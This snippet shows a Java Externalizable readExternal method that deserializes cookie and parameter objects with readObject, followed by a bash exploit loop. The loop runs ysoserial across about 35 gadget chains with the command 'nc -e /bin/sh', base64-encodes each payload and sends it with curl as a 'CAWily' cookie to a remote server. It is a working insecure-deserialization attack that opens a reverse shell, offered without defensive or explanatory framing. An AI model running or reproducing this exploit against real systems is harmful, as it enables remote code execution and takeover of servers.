public class HttpRequestHeaderInfo implements Externalizable {
  public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {

    in.readInt();
    int numMapEntries = in.readInt();
    this.fRequestParameterMap = (numMapEntries == 0) ? Collections.EMPTY_MAP : new HashMap(numMapEntries);

    for (int i = 0; i < numMapEntries; i++) {
      this.fRequestParameterMap.put(in.readUTF(), in.readObject());
    }

    int numCookies = in.readInt();
    this.fCookies = (numCookies == 0) ? kNoCookies : new Cookie[numCookies];

    for (int j = 0; j < this.fCookies.length; j++) {
      this.fCookies[j] = new Cookie((String)in.readObject(), (String)in.readObject());
    }
  }
}

for gadget in AspectJWeaver BeanShell1 C3P0 Click1 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 CommonsCollections7 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 MozillaRhino2 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Vaadin1 Wicket1
do
    java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar $gadget "nc -e /bin/sh ..." | base64 -w0 > cookie
    payload=$(cat cookie)
    curl -s -k 'https://remoteserver/' -X POST -H "Cookie: CAWily=$payload"
done